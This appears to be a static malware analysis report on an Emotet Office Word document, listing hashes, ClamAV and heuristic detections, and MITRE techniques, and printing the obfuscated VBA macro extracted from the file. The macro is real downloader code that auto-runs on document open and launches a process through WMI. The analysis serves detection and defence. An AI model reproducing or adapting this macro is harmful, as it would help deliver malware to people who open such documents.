Emotet — Office (OLE) malware analysis

Static analysis result for SHA-256 baa488f3a77d501d…

MALICIOUS

Office (OLE)

170.1 KB Created: 2020-07-29 00:06:00 Authoring application: Microsoft Office Word First seen: 2020-09-15
MD5: 082d7fac5e79b59251464253bdf11ce4 SHA-1: 31fc4708b3c0c612c87404d6ebe3fb3ebe451ab7 SHA-256: baa488f3a77d501d8ec7735d3df63912a500ac36a4daeff60abd475795b9343a
262 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1203 Exploitation for Client Execution

The sample contains VBA macros, including a Document_Open macro and a hidden UserForm command stager, which are indicative of Emotet's typical execution flow. The ClamAV detection explicitly names Emotet. The macro's obfuscated nature and use of CreateObject suggest it is designed to download and execute a secondary payload.

Heuristics 7

  • ClamAV: Doc.Downloader.Emotet-9375362-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Emotet-9375362-1
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA UserForm hidden-property command stager critical OLE_VBA_USERFORM_HIDDEN_COMMAND_STAGER
    VBA auto-exec macro creates a COM object from a decoded variable and reconstructs command text through Split/Join and hidden UserForm properties such as ControlTipText, Tag, Pages, or HelpContextId. This is a high-confidence macro downloader/loader shape seen in the reviewed OLE set, but it is not an Office CVE exploit primitive.
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 5171 bytes
SHA-256: 2c03ae4b3c2bc6e9ec14cb8b1dcbf83be549eef8dfd98e5d7e666c5efa177630
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ZMEKJirrtteiygmt"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub _
Document_open()
LHAVWzfgtjphotjcazc.GPMNEfirxqwonsfwinn
End Sub


Attribute VB_Name = "LHAVWzfgtjphotjcazc"
Attribute VB_Base = "0{45710FD8-57E2-4639-9217-36AECC561D2B}{AE9D1740-AE05-4C88-95F4-6DD307FAF3CD}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Function GPMNEfirxqwonsfwinn()
DEBSNbxscspaihb = Chr(LHAVWzfgtjphotjcazc.Zoom + ((60 + 60) / 8))
kS7áCw = 3
Do While kS7áCw < 3 + 1
kS7áCw = kS7áCw + 2: DoEvents
TFMKQkiiqnhcvia = "KFKPRtyojnkcdvbq"
Loop
NUNUMonbktwqykur = "83nNBugU7&&)njk&&Dnnnsn882n283nNBugU7&&)njk&&Dnnnsn882n2w83nNBugU7&&)njk&&Dnnnsn882n2i83nNBugU7&&)njk&&Dnnnsn882n2nm83nNBugU7&&)njk&&Dnnnsn882n283nNBugU7&&)njk&&Dnnnsn882n2gm83nNBugU7&&)njk&&Dnnnsn882n2t83nNBugU7&&)njk&&Dnnnsn882n283nNBugU7&&)njk&&Dnnnsn882n2" + DEBSNbxscspaihb + "83nNBugU7&&)njk&&Dnnnsn882n283nNBugU7&&)njk&&Dnnnsn882n2:83nNBugU7&&)njk&&Dnnnsn882n2w83nNBugU7&&)njk&&Dnnnsn882n2in83nNBugU7&&)njk&&Dnnnsn882n283nNBugU7&&)njk&&Dnnnsn882n2383nNBugU7&&)njk&&Dnnnsn882n2283nNBugU7&&)njk&&Dnnnsn882n2_83nNBugU7&&)njk&&Dnnnsn882n2" + LHAVWzfgtjphotjcazc.BAISTkpkpjwruny + "83nNBugU7&&)njk&&Dnnnsn882n2ro83nNBugU7&&)njk&&Dnnnsn882n283nNBugU7&&)njk&&Dnnnsn882n2ce83nNBugU7&&)njk&&Dnnnsn882n2s83nNBugU7&&)njk&&Dnnnsn882n2s83nNBugU7&&)njk&&Dnnnsn882n2"
EIB7ÅqfeUVM = 3
Do While EIB7ÅqfeUVM < 3 + 6
EIB7ÅqfeUVM = EIB7ÅqfeUVM + 6: DoEvents
BKAWOzrpwzezvs = "SRONUtsagxacafe"
Loop
ELYYTciigtormh = MBQMUrdaiupmmoiiwcg(NUNUMonbktwqykur)
Dim htNIyY1âdCk As Integer
htNIyY1âdCk = 2
Do While htNIyY1âdCk < 2 + 3
htNIyY1âdCk = htNIyY1âdCk + 4: DoEvents
LQTUXzrwgsauuupouy = "MHNWPijuznwrjrd"
Loop
Set YEEIIahmayfyb = CreateObject(ELYYTciigtormh)
Dim u4ÚQcypeHro As Long
u4ÚQcypeHro = InStr("YE2ßoUDAZJ8ÌU2Ô7ÇQL", "DAZJ8ÌU2Ô7ÇQL")
DNFJVeibfhxxdr = LHAVWzfgtjphotjcazc.EVWTEtgazsmjegkqnpv.ControlTipText
Dim uXt1âUC7Ìlhk As Integer
uXt1âUC7Ìlhk = 1
Do While uXt1âUC7Ìlhk < 1 + 3
uXt1âUC7Ìlhk = uXt1âUC7Ìlhk + 1: DoEvents
ICYNSzrhbtyfmhlib = "SOXUEmnfsijbqcqbhm"
Loop
AQCFJdcjxefmlk = NN + (ELYYTciigtormh + DEBSNbxscspaihb) + LHAVWzfgtjphotjcazc.VYVZAcvzotfzwob.ControlTipText + DNFJVeibfhxxdr
Dim cm7àR As Long
cm7àR = InStr("Ri7ÝKoPO1åiu", "oPO1åiu")
YJXQNiszpvddzw = AQCFJdcjxefmlk + LHAVWzfgtjphotjcazc.BAISTkpkpjwruny
Dim GTLaT As Integer
GTLaT = 8
Do While GTLaT < 8 + 9
GTLaT = GTLaT + 9: DoEvents
KRMPGuvjeiscopozpv = "XMZNHixadwpkazmr"
Loop
Set WSREBkmdvtafcbupq = SQYEYkjmpdvfhhpz(YJXQNiszpvddzw)
yhtNIy = 2
Do While yhtNIy < 2 + 5
yhtNIy = yhtNIy + 8: DoEvents
GYRAIcjxzgvlb = "AGTOJkdfhjtr"
Loop
uiii = Array("BNSBSBBSSS", YEEIIahmayfyb. _
Create(HBEGFzzbreodjvq, OXRCCyktrdnojqqh, WSREBkmdvtafcbupq), "NNNNNNNSNSNSNMD")
Dim nCsIBSZFOy As Long
nCsIBSZFOy = InStr("k2ÂuKQgoHD7ÒZO", "D7ÒZO")
End Function
Function SQYEYkjmpdvfhhpz(VYBXUbdahmvknyurikp)
Set SQYEYkjmpdvfhhpz = CreateObject(VYBXUbdahmvknyurikp)
Dim CXgj2àMbiO As Integer
CXgj2àMbiO = 2
Do While CXgj2àMbiO < 2 + 8
CXgj2àMbiO = CXgj2àMbiO + 5: DoEvents
BPBTOehlcgaa = "IGRPVaietnrjjcfzz"
Loop
SQYEYkjmpdvfhhpz.showwindow = (NXFHEqtaskrzrjsavg + UUQZXibkjecblcmndla) + (BVVHXmtvhrig + CFZXYhycfjvpigxewpp)
Dim qLVYD7v As Long
qLVYD7v = InStr("qQODODfPNf", "ODfPNf")
End Function
Function MBQMUrdaiupmmoiiwcg(AQCOOzpzaaiucyqor)
HDOESpswcphz = AQCOOzpzaaiucyqor
Dim C8àd8åuNsf As Integer
C8àd8åuNsf = 6
Do While C8àd8åuNsf < 6 + 2
C8àd8åuNsf = C8àd8åuNsf + 3: DoEvents
EWZZIbkpgcswvcixmp = "DBZVLarogvqlc"
Loop
XOUDQyobbeboyxzh = Split _
(HDOESpswcphz, "83nNBugU7&&)njk&&Dnnnsn882n2")
WRTyS = 4
Do While WRTyS < 4 + 6
WRTyS = WRTyS + 1: DoEvents
LUFGAowwjwdrzugxas = "JLTEBnzqmdtprq"
Loop
CGXVKpaenlqi
... (truncated)

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